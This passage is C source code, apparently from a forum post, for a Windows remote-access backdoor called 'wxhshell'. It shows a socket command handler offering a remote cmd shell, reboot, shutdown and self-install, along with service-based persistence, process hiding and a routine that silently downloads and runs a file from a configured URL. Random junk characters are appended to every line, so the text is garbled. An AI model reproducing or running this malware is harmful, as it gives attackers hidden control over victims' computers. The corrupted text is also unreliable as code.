  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); stcbM  
  } {S 2? }  
  else { ?Gr2@,jlD  
HAOl&\)7"_  
    switch(cmd[0]) { 6 OLp x)fG  
  u U;]/  
  // 帮助 z:a%kZQ!0  
  case '?': { b,MzHx=im  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); aW.[3M;?v  
    break; -Uu65m~:{k  
  } DuV@^qSbG.  
  // 安装 NKJ+DD:'  
  case 'i': { M+lj g&fy  
    if(Install()) XA4miQn&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KM o]J1o  
    else g[ dI%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {iRXK   
    break; ,ag:w<km  
    } hJsYKd8g  
  // 卸载 u hJnDo  
  case 'r': { gdKn!; ,w#  
    if(Uninstall()) LH_rc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3|qT.QR`Z  
    else {6,  l#z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AIK99  
    break; ~[H+,+XLY+  
    } d} {d5-_a  
  // 显示 wxhshell 所在路径 xLp<G(;  
  case 'p': { G+dQ" cI9  
    char svExeFile[MAX_PATH]; %D9,Femt  
    strcpy(svExeFile,"\n\r"); :<w2j 6V  
      strcat(svExeFile,ExeFile); P g{/tM Y  
        send(wsh,svExeFile,strlen(svExeFile),0); 07FS|>DM'Z  
    break; r iuG,$EX  
    } zUNWcv!& "  
  // 重启 GiH<6<=  
  case 'b': { n9p_D  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); T)Ohk(jK1  
    if(Boot(REBOOT)) X_tc\}I]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5OS|Vp||b  
    else { ML9nfB^z!  
    closesocket(wsh); AXmW7/Sj"  
    ExitThread(0); F]L$xU  
    } HC[)):S*  
    break; rQ+2 -|#  
    } .>A`FqV$~+  
  // 关机 qC;1ND  
  case 'd': { Kx[u9MD  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); g~#HiBgWq[  
    if(Boot(SHUTDOWN)) iJH;OV;P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yv&VK ht  
    else { pD )$O}  
    closesocket(wsh); Z6Kw'3  
    ExitThread(0); <R%]9#re  
    } s'Op|`&X  
    break; wy)I6`v  
    } F9Y/Z5 Ea  
  // 获取shell aLKvl~s;m  
  case 's': { ~ R:=zGDV  
    CmdShell(wsh); v\;hI5WY  
    closesocket(wsh); O5;$cP:  
    ExitThread(0); CG -^}xE:  
    break; }>|!Mf]W?R  
  } @m bR I0  
  // 退出 vXA+4 ?ZG  
  case 'x': { w)u6J ,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); P{{pp<tX*&  
    CloseIt(wsh); y66V&#`,e0  
    break; pMfP3G7V  
    } hj8S#  
  // 离开 u\,("2ZW9+  
  case 'q': { /M.@dW7 w  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Lh"!Z  
    closesocket(wsh); <o\2-fWvY  
    WSACleanup(); PN$vBFjm  
    exit(1); ~sd+ch*  
    break; e=]>TeqG0  
        } |6mDooTy  
  } pu"`*NL  
  } ~BSE8M+r  
>*5+{~k~4  
  // 提示信息 cjd Z.jR2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `9+>2*k  
} c|s*(WljY  
  } yLo{^4a.  
2`-yzm  
  return; :n4X>YL)  
} j\ dY  
FzDZ<dJ  
// shell模块句柄 ]Gm $0uS  
int CmdShell(SOCKET sock) r dc} e"v  
{ *TjolE~o  
STARTUPINFO si; 1b6o x6  
ZeroMemory(&si,sizeof(si)); |+^-b}0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b`4R`mo  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; N@M(Iw  
PROCESS_INFORMATION ProcessInfo; _d8k[HAJ|  
char cmdline[]="cmd"; H$:Z`CQt<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); X[frL)k]  
  return 0; 4{:W5eT!/  
} CvCk#:@HM  
b6IYo!3  
// 自身启动模式 Su<Ggv"  
int StartFromService(void) ^lqcF.  
{ =:+k  
typedef struct +\`D1d@  
{ TJ:B_F*bSk  
  DWORD ExitStatus; 2V}tDN7c  
  DWORD PebBaseAddress; wff&ci28  
  DWORD AffinityMask; TzXivE@mm  
  DWORD BasePriority; uC3o@qGW<  
  ULONG UniqueProcessId; gr'M6&>  
  ULONG InheritedFromUniqueProcessId; x?J- {6k  
}   PROCESS_BASIC_INFORMATION; `?P k~7  
apxZ}  
PROCNTQSIP NtQueryInformationProcess; Ni$WI{e9  
^A8'YTl  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; UTEUVcJ\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; U!:Q|':=h  
ubV|s|J  
  HANDLE             hProcess; u,:GJU  
  PROCESS_BASIC_INFORMATION pbi; d}K"dr:W5  
Do7&OBI~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {n8mE,;M  
  if(NULL == hInst ) return 0; ql5NSQ>{  
i]8HzKuiW  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *<n]"-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); WjxO M\?#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7/lXy3B4  
SMVn2H@  
  if (!NtQueryInformationProcess) return 0; ?yfk d:WD  
dzMlfJp  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); h#9X0u7j  
  if(!hProcess) return 0; Q=lQy  
EnXNTat})  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8 /1 sy.R  
WpE\N0Yg  
  CloseHandle(hProcess); R]e?<,"X  
z{U2K '  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >K$9 (  
if(hProcess==NULL) return 0; 4S>A}rWz  
Sw<@u+Z;%  
HMODULE hMod; M=hxOta  
char procName[255]; Q?KWiFA}'  
unsigned long cbNeeded; V dp wZ  
)%lPa|7s  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5y;texsj[  
Lu!o!>b  
  CloseHandle(hProcess); e;9Z/);#s  
&U%AVD[  
if(strstr(procName,"services")) return 1; // 以服务启动 Su99A.w  
pIBL85Xe  
  return 0; // 注册表启动 [F4] pR(  
} ]ovP^]]V  
S%zn {1F  
// 主模块 :/ ,h)h)|  
int StartWxhshell(LPSTR lpCmdLine) c8!q_H~  
{ ssGp:{]v/  
  SOCKET wsl; o.IJ4'}aN  
BOOL val=TRUE; BH"f\oc  
  int port=0; U_ELeW5@  
  struct sockaddr_in door; z97RNT|Y7U  
4lMf'V7*l  
  if(wscfg.ws_autoins) Install(); {%W'Zx  
<7-:flQz~  
port=atoi(lpCmdLine); rw(EI,G  
d>[=]  
if(port<=0) port=wscfg.ws_port; D4nYyj1O3  
 [@YeQ{  
  WSADATA data; SPfz/ q{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .d{@`^dh1]  
J?VMQTa/+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   v4c*6(m  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); IiW*'0H:/  
  door.sin_family = AF_INET; KQGdV{VFs  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); aQzDOeTi  
  door.sin_port = htons(port); /dGpac  
\\w<.\Yh  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { WUnz  
closesocket(wsl); 9Z, K  
return 1; +/+:D9j ,  
} fCC^hB]'  
/G*]3=cSe  
  if(listen(wsl,2) == INVALID_SOCKET) { k# -u!G  
closesocket(wsl); FfEP@$  
return 1; ')eg6IC0&T  
} QX`Qnk|Y  
  Wxhshell(wsl); cV8Bl="gqe  
  WSACleanup(); w)xiiO[  
3vdhoS|  
return 0; ~)ut"4  
:Y4 m3|  
} \PU7,*2  
)>-94xx|  
// 以NT服务方式启动 +UvT;"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Zw@=WW[Q`p  
{ ::<v; `l  
DWORD   status = 0; &Ul8h,qw  
  DWORD   specificError = 0xfffffff; /i:c!l9  
r@WfZ  Z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _z6_mmMp  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; wlC7;u  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 85e!)I_  
  serviceStatus.dwWin32ExitCode     = 0; *WzvPl$e  
  serviceStatus.dwServiceSpecificExitCode = 0; pc+'/~  
  serviceStatus.dwCheckPoint       = 0; - K%hug  
  serviceStatus.dwWaitHint       = 0; n^[VN[ VC  
6j 2mr6o  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); a8w/#!^34  
  if (hServiceStatusHandle==0) return; 8u|F %Sg  
A WS[e$Mt2  
status = GetLastError(); G*N}X3H:o  
  if (status!=NO_ERROR) wf`e3S  
{ 'lWgHmE  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +H**VdM6s  
    serviceStatus.dwCheckPoint       = 0; U*Sjb% Qb  
    serviceStatus.dwWaitHint       = 0; *!5X!\e_  
    serviceStatus.dwWin32ExitCode     = status; <>71;%e;'  
    serviceStatus.dwServiceSpecificExitCode = specificError; W ])Lc3X  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); u%24% Q  
    return; 07 E9[U[  
  } bnzIDsw!Q  
(8Inf_59  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]8o[&50y  
  serviceStatus.dwCheckPoint       = 0; e8,!x9%J  
  serviceStatus.dwWaitHint       = 0; hVGK%HCz&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7;rf$\-&  
} ;N?raz2mEi  
|!6<L_31%  
// 处理NT服务事件,比如:启动、停止 hd%O\D?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1e)5D& njS  
{ o,yZ1"  
switch(fdwControl) YZ(tjIgQ  
{ J#) %{k_  
case SERVICE_CONTROL_STOP: BenUyv1d  
  serviceStatus.dwWin32ExitCode = 0; |T+YC[T#v  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; f?BApm  
  serviceStatus.dwCheckPoint   = 0; 6` 4,  
  serviceStatus.dwWaitHint     = 0; g^)8a;/c  
  { [,TK"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /oC@:7  
  } .T*89cEu  
  return; XY)I~6$Y  
case SERVICE_CONTROL_PAUSE: ZxoAf;U~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /VHQ!Wi  
  break; @3_."-d  
case SERVICE_CONTROL_CONTINUE: qBF}-N_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &]S\GnqlU]  
  break; ,cFBLj(@  
case SERVICE_CONTROL_INTERROGATE: <!a%GI  
  break; |_u|Td(n  
}; fl+dL#]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e3=-7FU  
} <d~IdK'\x  
Sej(jJX1  
// 标准应用程序主函数 uGY(`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  CT[CM+  
{ \}:;kO4f  
`7 3I}%?  
// 获取操作系统版本 /7&WFCc)(  
OsIsNt=GetOsVer(); 8c<OX!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Noi+mL  
|wkUnn4UB8  
  // 从命令行安装 bOdQ+Y6  
  if(strpbrk(lpCmdLine,"iI")) Install(); r68d\N`.  
get$ r5  
  // 下载执行文件 n0vhc;d  
if(wscfg.ws_downexe) { qt=nN-AC(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) O)D+u@RhH  
  WinExec(wscfg.ws_filenam,SW_HIDE); [?S-on.  
} i'MpS  
k*|WI$  
if(!OsIsNt) { 'M=V{.8U  
// 如果时win9x,隐藏进程并且设置为注册表启动 h"4i/L3aAh  
HideProc(); qMmhVUx  
StartWxhshell(lpCmdLine); 1JY3c M  
} 6I-Qq?L[H  
else >slGicZ0  
  if(StartFromService()) Q+zy\T  
  // 以服务方式启动 (3QG  
  StartServiceCtrlDispatcher(DispatchTable); zdgSqv  
else _\u?]YTv  
  // 普通方式启动 Y~P* !g  
  StartWxhshell(lpCmdLine); t$(<9  
g n 6@x  
return 0; 2T3b6  
}
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只看该作者 1 发表于: 2006-10-10
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